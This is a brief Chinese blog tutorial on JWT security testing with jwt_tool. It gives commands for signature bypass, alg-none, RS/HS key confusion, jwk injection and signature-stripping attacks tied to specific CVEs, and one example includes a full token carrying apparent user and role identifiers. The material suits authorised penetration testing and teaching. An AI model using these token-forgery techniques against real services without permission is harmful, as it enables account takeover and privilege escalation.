jwt安全测试
简介
JWT_TOOL是一个基于Python的工具,可用于各种与JSON Web Token(JWT)相关的任务,如解码、验证、签名和伪造JWT。它还可用于测试JWT实现中的漏洞
利用
服务端可能不检查签名。尝试直接更改 payload 部分,若响应和未更改之前相同,则服务端未检查。
若采用对称加密算法,则可以尝试暴力破解获取 secret。
CVE-2015-9235 。将 header 中的 alg 更改为 none ,jwt 库就不会检验签名。
jwt_tool.py -X a
python3.7 jwt_tool.py eyJ0eXAiOiJKc29uV2ViVG9rZW4iLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiLlkI7lj7DkuJrliqHov5DokKUs5raI6LS56LSm5oi35omj5qy-IiwidXNlcl9pZCI6IjE1NTI5NzAyODU3ODU4MTI5OTMiLCJyb2xlX2lkIjoiMTQxNzA1Njg2NDAwMDAyMDQ4MSwxNTA0MzM1NDQ2OTU3MDAyNzUzIiwidXNlcl9uYW1lIjoiZ3VvbiIsIm9hdXRoX2lkIjoiIiwidG9rZW5fdHlwZSI6ImFjY2Vzc190b2tlbiIsImFjY291bnQiOiJndW9uIiwiY2xpZW50X2lkIjoic2FiZXIiLCJleHAiOjE2NzA5Mzc4ODYsIm5iZiI6MTY3MDMzMzA4Nn0.EmIc3lk7CsyuL4b_vkYYkIOW3sVUT0PJAed0lip4wx0 -X a
CVE-2016-5431。若采用非对称加密(RAS 等),尝试将其修改为对称加密算法(HS256、HS512 等)。并将服务端的公钥作为 secret 。
jwt_tool.py -X k
CVE-2018-0114。伪造密钥。如果 header 中存在
jwk
,则可以尝试利用`jwt_tool.py -X s`。
CVE-2020-28042。将签名删除,检测能否成功。
jwt_tool.py -X n
版权声明:
本站所有文章除特别声明外,均採用 CC BY-NC-SA 4.0 许可协议。转载请注明来自
weehhd!
喜欢就支持一下吧
打赏
微信
支付宝